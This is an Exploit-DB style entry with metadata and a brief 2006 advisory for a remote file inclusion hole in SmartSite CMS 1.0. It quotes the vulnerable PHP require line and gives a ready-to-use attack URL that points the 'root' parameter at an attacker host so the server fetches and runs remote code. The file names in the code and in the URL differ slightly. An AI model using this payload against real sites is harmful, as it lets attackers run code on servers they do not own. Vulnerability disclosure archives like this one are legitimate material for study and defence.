SmartSite CMS 1.0 - 'root' Remote File Inclusion

Author: Archit3ct
type: webapps
platform: php
port: 
date_added: 2006-06-19 
date_updated: 2016-08-16 
verified: 1 
codes: OSVDB-27622;CVE-2006-3421;OSVDB-26752;OSVDB-26751;CVE-2006-3162;OSVDB-26750;OSVDB-26749;OSVDB-26748 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsmartSite_v0823.zip

# smartsite cms <= 1.0 Remote File Inclusion
#
# Contact : irc.gigachat.net #ir4dex
# Risk : High
# Class : Remote
# Script : smartsite cms
# Version : not specified
# URL: http://www.smartsitecms.net/
---------------------------------------------------------------------

Vulnerable code :

require($root . "include/inc_foot.php");

---------------------------------------------------------------------

http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker]

by Archit3ct and IR4DEX GROUP

Greetz: Darkfire

# milw0rm.com [2006-06-20]